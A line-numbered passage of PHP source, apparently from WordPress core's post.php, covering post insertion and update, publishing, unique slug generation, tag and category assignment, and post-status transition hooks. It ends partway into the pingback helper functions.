3821
3822 /*
3823 * If the post is being untrashed and it has a desired slug stored in post meta,
3824 * reassign it.
3825 */
3826 if ( 'trash' === $previous_status && 'trash' !== $post_status ) {
3827 $desired_post_slug = get_post_meta( $post_ID, '_wp_desired_post_slug', true );
3828 if ( $desired_post_slug ) {
3829 delete_post_meta( $post_ID, '_wp_desired_post_slug' );
3830 $post_name = $desired_post_slug;
3831 }
3832 }
3833
3834 // If a trashed post has the desired slug, change it and let this post have it.
3835 if ( 'trash' !== $post_status && $post_name ) {
3836 wp_add_trashed_suffix_to_post_name_for_trashed_posts( $post_name, $post_ID );
3837 }
3838
3839 // When trashing an existing post, change its slug to allow non-trashed posts to use it.
3840 if ( 'trash' === $post_status && 'trash' !== $previous_status && 'new' !== $previous_status ) {
3841 $post_name = wp_add_trashed_suffix_to_post_name_for_post( $post_ID );
3842 }
3843
3844 $post_name = wp_unique_post_slug( $post_name, $post_ID, $post_status, $post_type, $post_parent );
3845
3846 // Don't unslash.
3847 $post_mime_type = isset( $postarr['post_mime_type'] ) ? $postarr['post_mime_type'] : '';
3848
3849 // Expected_slashed (everything!).
3850 $data = compact( 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_content_filtered', 'post_title', 'post_excerpt', 'post_status', 'post_type', 'comment_status', 'ping_status', 'post_password', 'post_name', 'to_ping', 'pinged', 'post_modified', 'post_modified_gmt', 'post_parent', 'menu_order', 'post_mime_type', 'guid' );
3851
3852 $emoji_fields = array( 'post_title', 'post_content', 'post_excerpt' );
3853
3854 foreach ( $emoji_fields as $emoji_field ) {
3855 if ( isset( $data[ $emoji_field ] ) ) {
3856 $charset = $wpdb->get_col_charset( $wpdb->posts, $emoji_field );
3857 if ( 'utf8' === $charset ) {
3858 $data[ $emoji_field ] = wp_encode_emoji( $data[ $emoji_field ] );
3859 }
3860 }
3861 }
3862
3863 if ( 'attachment' === $post_type ) {
3864 /**
3865 * Filters attachment post data before it is updated in or added to the database.
3866 *
3867 * @since 3.9.0
3868 *
3869 * @param array $data An array of sanitized attachment post data.
3870 * @param array $postarr An array of unsanitized attachment post data.
3871 */
3872 $data = apply_filters( 'wp_insert_attachment_data', $data, $postarr );
3873 } else {
3874 /**
3875 * Filters slashed post data just before it is inserted into the database.
3876 *
3877 * @since 2.7.0
3878 *
3879 * @param array $data An array of slashed post data.
3880 * @param array $postarr An array of sanitized, but otherwise unmodified post data.
3881 */
3882 $data = apply_filters( 'wp_insert_post_data', $data, $postarr );
3883 }
3884 $data = wp_unslash( $data );
3885 $where = array( 'ID' => $post_ID );
3886
3887 if ( $update ) {
3888 /**
3889 * Fires immediately before an existing post is updated in the database.
3890 *
3891 * @since 2.5.0
3892 *
3893 * @param int $post_ID Post ID.
3894 * @param array $data Array of unslashed post data.
3895 */
3896 do_action( 'pre_post_update', $post_ID, $data );
3897 if ( false === $wpdb->update( $wpdb->posts, $data, $where ) ) {
3898 if ( $wp_error ) {
3899 return new WP_Error( 'db_update_error', __( 'Could not update post in the database' ), $wpdb->last_error );
3900 } else {
3901 return 0;
3902 }
3903 }
3904 } else {
3905 // If there is a suggested ID, use it if not already present.
3906 if ( ! empty( $import_id ) ) {
3907 $import_id = (int) $import_id;
3908 if ( ! $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE ID = %d", $import_id ) ) ) {
3909 $data['ID'] = $import_id;
3910 }
3911 }
3912 if ( false === $wpdb->insert( $wpdb->posts, $data ) ) {
3913 if ( $wp_error ) {
3914 return new WP_Error( 'db_insert_error', __( 'Could not insert post into the database' ), $wpdb->last_error );
3915 } else {
3916 return 0;
3917 }
3918 }
3919 $post_ID = (int) $wpdb->insert_id;
3920
3921 // Use the newly generated $post_ID.
3922 $where = array( 'ID' => $post_ID );
3923 }
3924
3925 if ( empty( $data['post_name'] ) && ! in_array( $data['post_status'], array( 'draft', 'pending', 'auto-draft' ) ) ) {
3926 $data['post_name'] = wp_unique_post_slug( sanitize_title( $data['post_title'], $post_ID ), $post_ID, $data['post_status'], $post_type, $post_parent );
3927 $wpdb->update( $wpdb->posts, array( 'post_name' => $data['post_name'] ), $where );
3928 clean_post_cache( $post_ID );
3929 }
3930
3931 if ( is_object_in_taxonomy( $post_type, 'category' ) ) {
3932 wp_set_post_categories( $post_ID, $post_category );
3933 }
3934
3935 if ( isset( $postarr['tags_input'] ) && is_object_in_taxonomy( $post_type, 'post_tag' ) ) {
3936 wp_set_post_tags( $post_ID, $postarr['tags_input'] );
3937 }
3938
3939 // New-style support for all custom taxonomies.
3940 if ( ! empty( $postarr['tax_input'] ) ) {
3941 foreach ( $postarr['tax_input'] as $taxonomy => $tags ) {
3942 $taxonomy_obj = get_taxonomy( $taxonomy );
3943 if ( ! $taxonomy_obj ) {
3944 /* translators: %s: Taxonomy name. */
3945 _doing_it_wrong( __FUNCTION__, sprintf( __( 'Invalid taxonomy: %s.' ), $taxonomy ), '4.4.0' );
3946 continue;
3947 }
3948
3949 // array = hierarchical, string = non-hierarchical.
3950 if ( is_array( $tags ) ) {
3951 $tags = array_filter( $tags );
3952 }
3953 if ( current_user_can( $taxonomy_obj->cap->assign_terms ) ) {
3954 wp_set_post_terms( $post_ID, $tags, $taxonomy );
3955 }
3956 }
3957 }
3958
3959 if ( ! empty( $postarr['meta_input'] ) ) {
3960 foreach ( $postarr['meta_input'] as $field => $value ) {
3961 update_post_meta( $post_ID, $field, $value );
3962 }
3963 }
3964
3965 $current_guid = get_post_field( 'guid', $post_ID );
3966
3967 // Set GUID.
3968 if ( ! $update && '' == $current_guid ) {
3969 $wpdb->update( $wpdb->posts, array( 'guid' => get_permalink( $post_ID ) ), $where );
3970 }
3971
3972 if ( 'attachment' === $postarr['post_type'] ) {
3973 if ( ! empty( $postarr['file'] ) ) {
3974 update_attached_file( $post_ID, $postarr['file'] );
3975 }
3976
3977 if ( ! empty( $postarr['context'] ) ) {
3978 add_post_meta( $post_ID, '_wp_attachment_context', $postarr['context'], true );
3979 }
3980 }
3981
3982 // Set or remove featured image.
3983 if ( isset( $postarr['_thumbnail_id'] ) ) {
3984 $thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' ) || 'revision' === $post_type;
3985 if ( ! $thumbnail_support && 'attachment' === $post_type && $post_mime_type ) {
3986 if ( wp_attachment_is( 'audio', $post_ID ) ) {
3987 $thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
3988 } elseif ( wp_attachment_is( 'video', $post_ID ) ) {
3989 $thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
3990 }
3991 }
3992
3993 if ( $thumbnail_support ) {
3994 $thumbnail_id = intval( $postarr['_thumbnail_id'] );
3995 if ( -1 === $thumbnail_id ) {
3996 delete_post_thumbnail( $post_ID );
3997 } else {
3998 set_post_thumbnail( $post_ID, $thumbnail_id );
3999 }
4000 }
4001 }
4002
4003 clean_post_cache( $post_ID );
4004
4005 $post = get_post( $post_ID );
4006
4007 if ( ! empty( $postarr['page_template'] ) ) {
4008 $post->page_template = $postarr['page_template'];
4009 $page_templates = wp_get_theme()->get_page_templates( $post );
4010 if ( 'default' != $postarr['page_template'] && ! isset( $page_templates[ $postarr['page_template'] ] ) ) {
4011 if ( $wp_error ) {
4012 return new WP_Error( 'invalid_page_template', __( 'Invalid page template.' ) );
4013 }
4014 update_post_meta( $post_ID, '_wp_page_template', 'default' );
4015 } else {
4016 update_post_meta( $post_ID, '_wp_page_template', $postarr['page_template'] );
4017 }
4018 }
4019
4020 if ( 'attachment' !== $postarr['post_type'] ) {
4021 wp_transition_post_status( $data['post_status'], $previous_status, $post );
4022 } else {
4023 if ( $update ) {
4024 /**
4025 * Fires once an existing attachment has been updated.
4026 *
4027 * @since 2.0.0
4028 *
4029 * @param int $post_ID Attachment ID.
4030 */
4031 do_action( 'edit_attachment', $post_ID );
4032 $post_after = get_post( $post_ID );
4033
4034 /**
4035 * Fires once an existing attachment has been updated.
4036 *
4037 * @since 4.4.0
4038 *
4039 * @param int $post_ID Post ID.
4040 * @param WP_Post $post_after Post object following the update.
4041 * @param WP_Post $post_before Post object before the update.
4042 */
4043 do_action( 'attachment_updated', $post_ID, $post_after, $post_before );
4044 } else {
4045
4046 /**
4047 * Fires once an attachment has been added.
4048 *
4049 * @since 2.0.0
4050 *
4051 * @param int $post_ID Attachment ID.
4052 */
4053 do_action( 'add_attachment', $post_ID );
4054 }
4055
4056 return $post_ID;
4057 }
4058
4059 if ( $update ) {
4060 /**
4061 * Fires once an existing post has been updated.
4062 *
4063 * The dynamic portion of the hook name, `$post->post_type`, refers to
4064 * the post type slug.
4065 *
4066 * @since 5.1.0
4067 *
4068 * @param int $post_ID Post ID.
4069 * @param WP_Post $post Post object.
4070 */
4071 do_action( "edit_post_{$post->post_type}", $post_ID, $post );
4072
4073 /**
4074 * Fires once an existing post has been updated.
4075 *
4076 * @since 1.2.0
4077 *
4078 * @param int $post_ID Post ID.
4079 * @param WP_Post $post Post object.
4080 */
4081 do_action( 'edit_post', $post_ID, $post );
4082
4083 $post_after = get_post( $post_ID );
4084
4085 /**
4086 * Fires once an existing post has been updated.
4087 *
4088 * @since 3.0.0
4089 *
4090 * @param int $post_ID Post ID.
4091 * @param WP_Post $post_after Post object following the update.
4092 * @param WP_Post $post_before Post object before the update.
4093 */
4094 do_action( 'post_updated', $post_ID, $post_after, $post_before );
4095 }
4096
4097 /**
4098 * Fires once a post has been saved.
4099 *
4100 * The dynamic portion of the hook name, `$post->post_type`, refers to
4101 * the post type slug.
4102 *
4103 * @since 3.7.0
4104 *
4105 * @param int $post_ID Post ID.
4106 * @param WP_Post $post Post object.
4107 * @param bool $update Whether this is an existing post being updated or not.
4108 */
4109 do_action( "save_post_{$post->post_type}", $post_ID, $post, $update );
4110
4111 /**
4112 * Fires once a post has been saved.
4113 *
4114 * @since 1.5.0
4115 *
4116 * @param int $post_ID Post ID.
4117 * @param WP_Post $post Post object.
4118 * @param bool $update Whether this is an existing post being updated or not.
4119 */
4120 do_action( 'save_post', $post_ID, $post, $update );
4121
4122 /**
4123 * Fires once a post has been saved.
4124 *
4125 * @since 2.0.0
4126 *
4127 * @param int $post_ID Post ID.
4128 * @param WP_Post $post Post object.
4129 * @param bool $update Whether this is an existing post being updated or not.
4130 */
4131 do_action( 'wp_insert_post', $post_ID, $post, $update );
4132
4133 return $post_ID;
4134}
4135
4136/**
4137 * Update a post with new post data.
4138 *
4139 * The date does not have to be set for drafts. You can set the date and it will
4140 * not be overridden.
4141 *
4142 * @since 1.0.0
4143 *
4144 * @param array|object $postarr Optional. Post data. Arrays are expected to be escaped,
4145 * objects are not. Default array.
4146 * @param bool $wp_error Optional. Allow return of WP_Error on failure. Default false.
4147 * @return int|WP_Error The value 0 or WP_Error on failure. The post ID on success.
4148 */
4149function wp_update_post( $postarr = array(), $wp_error = false ) {
4150 if ( is_object( $postarr ) ) {
4151 // Non-escaped post was passed.
4152 $postarr = get_object_vars( $postarr );
4153 $postarr = wp_slash( $postarr );
4154 }
4155
4156 // First, get all of the original fields.
4157 $post = get_post( $postarr['ID'], ARRAY_A );
4158
4159 if ( is_null( $post ) ) {
4160 if ( $wp_error ) {
4161 return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) );
4162 }
4163 return 0;
4164 }
4165
4166 // Escape data pulled from DB.
4167 $post = wp_slash( $post );
4168
4169 // Passed post category list overwrites existing category list if not empty.
4170 if ( isset( $postarr['post_category'] ) && is_array( $postarr['post_category'] )
4171 && 0 != count( $postarr['post_category'] ) ) {
4172 $post_cats = $postarr['post_category'];
4173 } else {
4174 $post_cats = $post['post_category'];
4175 }
4176
4177 // Drafts shouldn't be assigned a date unless explicitly done so by the user.
4178 if ( isset( $post['post_status'] ) && in_array( $post['post_status'], array( 'draft', 'pending', 'auto-draft' ) ) && empty( $postarr['edit_date'] ) &&
4179 ( '0000-00-00 00:00:00' == $post['post_date_gmt'] ) ) {
4180 $clear_date = true;
4181 } else {
4182 $clear_date = false;
4183 }
4184
4185 // Merge old and new fields with new fields overwriting old ones.
4186 $postarr = array_merge( $post, $postarr );
4187 $postarr['post_category'] = $post_cats;
4188 if ( $clear_date ) {
4189 $postarr['post_date'] = current_time( 'mysql' );
4190 $postarr['post_date_gmt'] = '';
4191 }
4192
4193 if ( $postarr['post_type'] == 'attachment' ) {
4194 return wp_insert_attachment( $postarr, false, 0, $wp_error );
4195 }
4196
4197 return wp_insert_post( $postarr, $wp_error );
4198}
4199
4200/**
4201 * Publish a post by transitioning the post status.
4202 *
4203 * @since 2.1.0
4204 *
4205 * @global wpdb $wpdb WordPress database abstraction object.
4206 *
4207 * @param int|WP_Post $post Post ID or post object.
4208 */
4209function wp_publish_post( $post ) {
4210 global $wpdb;
4211
4212 $post = get_post( $post );
4213 if ( ! $post ) {
4214 return;
4215 }
4216
4217 if ( 'publish' == $post->post_status ) {
4218 return;
4219 }
4220
4221 $wpdb->update( $wpdb->posts, array( 'post_status' => 'publish' ), array( 'ID' => $post->ID ) );
4222
4223 clean_post_cache( $post->ID );
4224
4225 $old_status = $post->post_status;
4226 $post->post_status = 'publish';
4227 wp_transition_post_status( 'publish', $old_status, $post );
4228
4229 /** This action is documented in wp-includes/post.php */
4230 do_action( "edit_post_{$post->post_type}", $post->ID, $post );
4231
4232 /** This action is documented in wp-includes/post.php */
4233 do_action( 'edit_post', $post->ID, $post );
4234
4235 /** This action is documented in wp-includes/post.php */
4236 do_action( "save_post_{$post->post_type}", $post->ID, $post, true );
4237
4238 /** This action is documented in wp-includes/post.php */
4239 do_action( 'save_post', $post->ID, $post, true );
4240
4241 /** This action is documented in wp-includes/post.php */
4242 do_action( 'wp_insert_post', $post->ID, $post, true );
4243}
4244
4245/**
4246 * Publish future post and make sure post ID has future post status.
4247 *
4248 * Invoked by cron 'publish_future_post' event. This safeguard prevents cron
4249 * from publishing drafts, etc.
4250 *
4251 * @since 2.5.0
4252 *
4253 * @param int|WP_Post $post_id Post ID or post object.
4254 */
4255function check_and_publish_future_post( $post_id ) {
4256 $post = get_post( $post_id );
4257
4258 if ( empty( $post ) ) {
4259 return;
4260 }
4261
4262 if ( 'future' != $post->post_status ) {
4263 return;
4264 }
4265
4266 $time = strtotime( $post->post_date_gmt . ' GMT' );
4267
4268 // Uh oh, someone jumped the gun!
4269 if ( $time > time() ) {
4270 wp_clear_scheduled_hook( 'publish_future_post', array( $post_id ) ); // clear anything else in the system
4271 wp_schedule_single_event( $time, 'publish_future_post', array( $post_id ) );
4272 return;
4273 }
4274
4275 // wp_publish_post() returns no meaningful value.
4276 wp_publish_post( $post_id );
4277}
4278
4279/**
4280 * Computes a unique slug for the post, when given the desired slug and some post details.
4281 *
4282 * @since 2.8.0
4283 *
4284 * @global wpdb $wpdb WordPress database abstraction object.
4285 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
4286 *
4287 * @param string $slug The desired slug (post_name).
4288 * @param int $post_ID Post ID.
4289 * @param string $post_status No uniqueness checks are made if the post is still draft or pending.
4290 * @param string $post_type Post type.
4291 * @param int $post_parent Post parent ID.
4292 * @return string Unique slug for the post, based on $post_name (with a -1, -2, etc. suffix)
4293 */
4294function wp_unique_post_slug( $slug, $post_ID, $post_status, $post_type, $post_parent ) {
4295 if ( in_array( $post_status, array( 'draft', 'pending', 'auto-draft' ) ) || ( 'inherit' == $post_status && 'revision' == $post_type ) || 'user_request' === $post_type ) {
4296 return $slug;
4297 }
4298
4299 /**
4300 * Filters the post slug before it is generated to be unique.
4301 *
4302 * Returning a non-null value will short-circuit the
4303 * unique slug generation, returning the passed value instead.
4304 *
4305 * @since 5.1.0
4306 *
4307 * @param string|null $override_slug Short-circuit return value.
4308 * @param string $slug The desired slug (post_name).
4309 * @param int $post_ID Post ID.
4310 * @param string $post_status The post status.
4311 * @param string $post_type Post type.
4312 * @param int $post_parent Post parent ID.
4313 */
4314 $override_slug = apply_filters( 'pre_wp_unique_post_slug', null, $slug, $post_ID, $post_status, $post_type, $post_parent );
4315 if ( null !== $override_slug ) {
4316 return $override_slug;
4317 }
4318
4319 global $wpdb, $wp_rewrite;
4320
4321 $original_slug = $slug;
4322
4323 $feeds = $wp_rewrite->feeds;
4324 if ( ! is_array( $feeds ) ) {
4325 $feeds = array();
4326 }
4327
4328 if ( 'attachment' == $post_type ) {
4329 // Attachment slugs must be unique across all types.
4330 $check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND ID != %d LIMIT 1";
4331 $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug, $post_ID ) );
4332
4333 /**
4334 * Filters whether the post slug would make a bad attachment slug.
4335 *
4336 * @since 3.1.0
4337 *
4338 * @param bool $bad_slug Whether the slug would be bad as an attachment slug.
4339 * @param string $slug The post slug.
4340 */
4341 if ( $post_name_check || in_array( $slug, $feeds ) || 'embed' === $slug || apply_filters( 'wp_unique_post_slug_is_bad_attachment_slug', false, $slug ) ) {
4342 $suffix = 2;
4343 do {
4344 $alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix";
4345 $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name, $post_ID ) );
4346 $suffix++;
4347 } while ( $post_name_check );
4348 $slug = $alt_post_name;
4349 }
4350 } elseif ( is_post_type_hierarchical( $post_type ) ) {
4351 if ( 'nav_menu_item' == $post_type ) {
4352 return $slug;
4353 }
4354
4355 /*
4356 * Page slugs must be unique within their own trees. Pages are in a separate
4357 * namespace than posts so page slugs are allowed to overlap post slugs.
4358 */
4359 $check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND post_type IN ( %s, 'attachment' ) AND ID != %d AND post_parent = %d LIMIT 1";
4360 $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug, $post_type, $post_ID, $post_parent ) );
4361
4362 /**
4363 * Filters whether the post slug would make a bad hierarchical post slug.
4364 *
4365 * @since 3.1.0
4366 *
4367 * @param bool $bad_slug Whether the post slug would be bad in a hierarchical post context.
4368 * @param string $slug The post slug.
4369 * @param string $post_type Post type.
4370 * @param int $post_parent Post parent ID.
4371 */
4372 if ( $post_name_check || in_array( $slug, $feeds ) || 'embed' === $slug || preg_match( "@^($wp_rewrite->pagination_base)?\d+$@", $slug ) || apply_filters( 'wp_unique_post_slug_is_bad_hierarchical_slug', false, $slug, $post_type, $post_parent ) ) {
4373 $suffix = 2;
4374 do {
4375 $alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix";
4376 $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name, $post_type, $post_ID, $post_parent ) );
4377 $suffix++;
4378 } while ( $post_name_check );
4379 $slug = $alt_post_name;
4380 }
4381 } else {
4382 // Post slugs must be unique across all posts.
4383 $check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND post_type = %s AND ID != %d LIMIT 1";
4384 $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug, $post_type, $post_ID ) );
4385
4386 // Prevent new post slugs that could result in URLs that conflict with date archives.
4387 $post = get_post( $post_ID );
4388 $conflicts_with_date_archive = false;
4389 if ( 'post' === $post_type && ( ! $post || $post->post_name !== $slug ) && preg_match( '/^[0-9]+$/', $slug ) ) {
4390 $slug_num = intval( $slug );
4391
4392 if ( $slug_num ) {
4393 $permastructs = array_values( array_filter( explode( '/', get_option( 'permalink_structure' ) ) ) );
4394 $postname_index = array_search( '%postname%', $permastructs );
4395
4396 /*
4397 * Potential date clashes are as follows:
4398 *
4399 * - Any integer in the first permastruct position could be a year.
4400 * - An integer between 1 and 12 that follows 'year' conflicts with 'monthnum'.
4401 * - An integer between 1 and 31 that follows 'monthnum' conflicts with 'day'.
4402 */
4403 if ( 0 === $postname_index ||
4404 ( $postname_index && '%year%' === $permastructs[ $postname_index - 1 ] && 13 > $slug_num ) ||
4405 ( $postname_index && '%monthnum%' === $permastructs[ $postname_index - 1 ] && 32 > $slug_num )
4406 ) {
4407 $conflicts_with_date_archive = true;
4408 }
4409 }
4410 }
4411
4412 /**
4413 * Filters whether the post slug would be bad as a flat slug.
4414 *
4415 * @since 3.1.0
4416 *
4417 * @param bool $bad_slug Whether the post slug would be bad as a flat slug.
4418 * @param string $slug The post slug.
4419 * @param string $post_type Post type.
4420 */
4421 if ( $post_name_check || in_array( $slug, $feeds ) || 'embed' === $slug || $conflicts_with_date_archive || apply_filters( 'wp_unique_post_slug_is_bad_flat_slug', false, $slug, $post_type ) ) {
4422 $suffix = 2;
4423 do {
4424 $alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix";
4425 $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name, $post_type, $post_ID ) );
4426 $suffix++;
4427 } while ( $post_name_check );
4428 $slug = $alt_post_name;
4429 }
4430 }
4431
4432 /**
4433 * Filters the unique post slug.
4434 *
4435 * @since 3.3.0
4436 *
4437 * @param string $slug The post slug.
4438 * @param int $post_ID Post ID.
4439 * @param string $post_status The post status.
4440 * @param string $post_type Post type.
4441 * @param int $post_parent Post parent ID
4442 * @param string $original_slug The original post slug.
4443 */
4444 return apply_filters( 'wp_unique_post_slug', $slug, $post_ID, $post_status, $post_type, $post_parent, $original_slug );
4445}
4446
4447/**
4448 * Truncate a post slug.
4449 *
4450 * @since 3.6.0
4451 * @access private
4452 *
4453 * @see utf8_uri_encode()
4454 *
4455 * @param string $slug The slug to truncate.
4456 * @param int $length Optional. Max length of the slug. Default 200 (characters).
4457 * @return string The truncated slug.
4458 */
4459function _truncate_post_slug( $slug, $length = 200 ) {
4460 if ( strlen( $slug ) > $length ) {
4461 $decoded_slug = urldecode( $slug );
4462 if ( $decoded_slug === $slug ) {
4463 $slug = substr( $slug, 0, $length );
4464 } else {
4465 $slug = utf8_uri_encode( $decoded_slug, $length );
4466 }
4467 }
4468
4469 return rtrim( $slug, '-' );
4470}
4471
4472/**
4473 * Add tags to a post.
4474 *
4475 * @see wp_set_post_tags()
4476 *
4477 * @since 2.3.0
4478 *
4479 * @param int $post_id Optional. The Post ID. Does not default to the ID of the global $post.
4480 * @param string|array $tags Optional. An array of tags to set for the post, or a string of tags
4481 * separated by commas. Default empty.
4482 * @return array|false|WP_Error Array of affected term IDs. WP_Error or false on failure.
4483 */
4484function wp_add_post_tags( $post_id = 0, $tags = '' ) {
4485 return wp_set_post_tags( $post_id, $tags, true );
4486}
4487
4488/**
4489 * Set the tags for a post.
4490 *
4491 * @since 2.3.0
4492 *
4493 * @see wp_set_object_terms()
4494 *
4495 * @param int $post_id Optional. The Post ID. Does not default to the ID of the global $post.
4496 * @param string|array $tags Optional. An array of tags to set for the post, or a string of tags
4497 * separated by commas. Default empty.
4498 * @param bool $append Optional. If true, don't delete existing tags, just add on. If false,
4499 * replace the tags with the new tags. Default false.
4500 * @return array|false|WP_Error Array of term taxonomy IDs of affected terms. WP_Error or false on failure.
4501 */
4502function wp_set_post_tags( $post_id = 0, $tags = '', $append = false ) {
4503 return wp_set_post_terms( $post_id, $tags, 'post_tag', $append );
4504}
4505
4506/**
4507 * Set the terms for a post.
4508 *
4509 * @since 2.8.0
4510 *
4511 * @see wp_set_object_terms()
4512 *
4513 * @param int $post_id Optional. The Post ID. Does not default to the ID of the global $post.
4514 * @param string|array $tags Optional. An array of terms to set for the post, or a string of terms
4515 * separated by commas. Hierarchical taxonomies must always pass IDs rather
4516 * than names so that children with the same names but different parents
4517 * aren't confused. Default empty.
4518 * @param string $taxonomy Optional. Taxonomy name. Default 'post_tag'.
4519 * @param bool $append Optional. If true, don't delete existing terms, just add on. If false,
4520 * replace the terms with the new terms. Default false.
4521 * @return array|false|WP_Error Array of term taxonomy IDs of affected terms. WP_Error or false on failure.
4522 */
4523function wp_set_post_terms( $post_id = 0, $tags = '', $taxonomy = 'post_tag', $append = false ) {
4524 $post_id = (int) $post_id;
4525
4526 if ( ! $post_id ) {
4527 return false;
4528 }
4529
4530 if ( empty( $tags ) ) {
4531 $tags = array();
4532 }
4533
4534 if ( ! is_array( $tags ) ) {
4535 $comma = _x( ',', 'tag delimiter' );
4536 if ( ',' !== $comma ) {
4537 $tags = str_replace( $comma, ',', $tags );
4538 }
4539 $tags = explode( ',', trim( $tags, " \n\t\r\0\x0B," ) );
4540 }
4541
4542 /*
4543 * Hierarchical taxonomies must always pass IDs rather than names so that
4544 * children with the same names but different parents aren't confused.
4545 */
4546 if ( is_taxonomy_hierarchical( $taxonomy ) ) {
4547 $tags = array_unique( array_map( 'intval', $tags ) );
4548 }
4549
4550 return wp_set_object_terms( $post_id, $tags, $taxonomy, $append );
4551}
4552
4553/**
4554 * Set categories for a post.
4555 *
4556 * If the post categories parameter is not set, then the default category is
4557 * going used.
4558 *
4559 * @since 2.1.0
4560 *
4561 * @param int $post_ID Optional. The Post ID. Does not default to the ID
4562 * of the global $post. Default 0.
4563 * @param array|int $post_categories Optional. List of category IDs, or the ID of a single category.
4564 * Default empty array.
4565 * @param bool $append If true, don't delete existing categories, just add on.
4566 * If false, replace the categories with the new categories.
4567 * @return array|false|WP_Error Array of term taxonomy IDs of affected categories. WP_Error or false on failure.
4568 */
4569function wp_set_post_categories( $post_ID = 0, $post_categories = array(), $append = false ) {
4570 $post_ID = (int) $post_ID;
4571 $post_type = get_post_type( $post_ID );
4572 $post_status = get_post_status( $post_ID );
4573 // If $post_categories isn't already an array, make it one:
4574 $post_categories = (array) $post_categories;
4575 if ( empty( $post_categories ) ) {
4576 if ( 'post' == $post_type && 'auto-draft' != $post_status ) {
4577 $post_categories = array( get_option( 'default_category' ) );
4578 $append = false;
4579 } else {
4580 $post_categories = array();
4581 }
4582 } elseif ( 1 == count( $post_categories ) && '' == reset( $post_categories ) ) {
4583 return true;
4584 }
4585
4586 return wp_set_post_terms( $post_ID, $post_categories, 'category', $append );
4587}
4588
4589/**
4590 * Fires actions related to the transitioning of a post's status.
4591 *
4592 * When a post is saved, the post status is "transitioned" from one status to another,
4593 * though this does not always mean the status has actually changed before and after
4594 * the save. This function fires a number of action hooks related to that transition:
4595 * the generic {@see 'transition_post_status'} action, as well as the dynamic hooks
4596 * {@see '$old_status_to_$new_status'} and {@see '$new_status_$post->post_type'}. Note
4597 * that the function does not transition the post object in the database.
4598 *
4599 * For instance: When publishing a post for the first time, the post status may transition
4600 * from 'draft' – or some other status – to 'publish'. However, if a post is already
4601 * published and is simply being updated, the "old" and "new" statuses may both be 'publish'
4602 * before and after the transition.
4603 *
4604 * @since 2.3.0
4605 *
4606 * @param string $new_status Transition to this post status.
4607 * @param string $old_status Previous post status.
4608 * @param WP_Post $post Post data.
4609 */
4610function wp_transition_post_status( $new_status, $old_status, $post ) {
4611 /**
4612 * Fires when a post is transitioned from one status to another.
4613 *
4614 * @since 2.3.0
4615 *
4616 * @param string $new_status New post status.
4617 * @param string $old_status Old post status.
4618 * @param WP_Post $post Post object.
4619 */
4620 do_action( 'transition_post_status', $new_status, $old_status, $post );
4621
4622 /**
4623 * Fires when a post is transitioned from one status to another.
4624 *
4625 * The dynamic portions of the hook name, `$new_status` and `$old status`,
4626 * refer to the old and new post statuses, respectively.
4627 *
4628 * @since 2.3.0
4629 *
4630 * @param WP_Post $post Post object.
4631 */
4632 do_action( "{$old_status}_to_{$new_status}", $post );
4633
4634 /**
4635 * Fires when a post is transitioned from one status to another.
4636 *
4637 * The dynamic portions of the hook name, `$new_status` and `$post->post_type`,
4638 * refer to the new post status and post type, respectively.
4639 *
4640 * Please note: When this action is hooked using a particular post status (like
4641 * 'publish', as `publish_{$post->post_type}`), it will fire both when a post is
4642 * first transitioned to that status from something else, as well as upon
4643 * subsequent post updates (old and new status are both the same).
4644 *
4645 * Therefore, if you are looking to only fire a callback when a post is first
4646 * transitioned to a status, use the {@see 'transition_post_status'} hook instead.
4647 *
4648 * @since 2.3.0
4649 *
4650 * @param int $post_id Post ID.
4651 * @param WP_Post $post Post object.
4652 */
4653 do_action( "{$new_status}_{$post->post_type}", $post->ID, $post );
4654}
4655
4656//
4657// Comment, trackback, and pingback functions.
4658//
4659
4660/**
4661 * Add a URL to those already pinged.
4662 *
4663 * @since 1.5.0
4664 * @since 4.7.0 `$post_id` can be a WP_Post object.
4665 * @since 4.7.0 `$uri` can be an array of URIs.
4666 *
4667 * @global wpdb $wpdb WordPress database abstraction object.
4668 *
4669 * @param int|WP_Post $post_id Post object or ID.
4670 * @param string|array $uri Ping URI or array of URIs.
4671 * @return int|false How many rows were updated.
4672 */
4673function add_ping( $post_id, $uri ) {
4674 global $wpdb;
4675
4676 $post = get_post( $post_id );
4677 if ( ! $post ) {
4678 return false;
4679 }
4680
4681 $pung = trim( $post->pinged );
4682 $pung = preg_split( '/\s/', $pung );
4683
4684 if ( is_array( $uri ) ) {
4685 $pung = array_merge( $pung, $uri );
4686 } else {
4687 $pung[] = $uri;
4688 }
4689 $new = implode( "\n", $pung );
4690
4691 /**
4692 * Filters the new ping URL to add for the given post.
4693 *
4694 * @since 2.0.0
4695 *
4696 * @param string $new New ping URL to add.
4697 */
4698 $new = apply_filters( 'add_ping', $new );
4699
4700 $return = $wpdb->update( $wpdb->posts, array( 'pinged' => $new ), array( 'ID' => $post->ID ) );
4701 clean_post_cache( $post->ID );
4702 return $return;
4703}
4704
4705/**
4706 * Retrieve enclosures already enclosed for a post.
4707 *
4708 * @since 1.5.0
4709 *
4710 * @param int $post_id Post ID.
4711 * @return array List of enclosures.
4712 */
4713function get_enclosed( $post_id ) {
4714 $custom_fields = get_post_custom( $post_id );
4715 $pung = array();
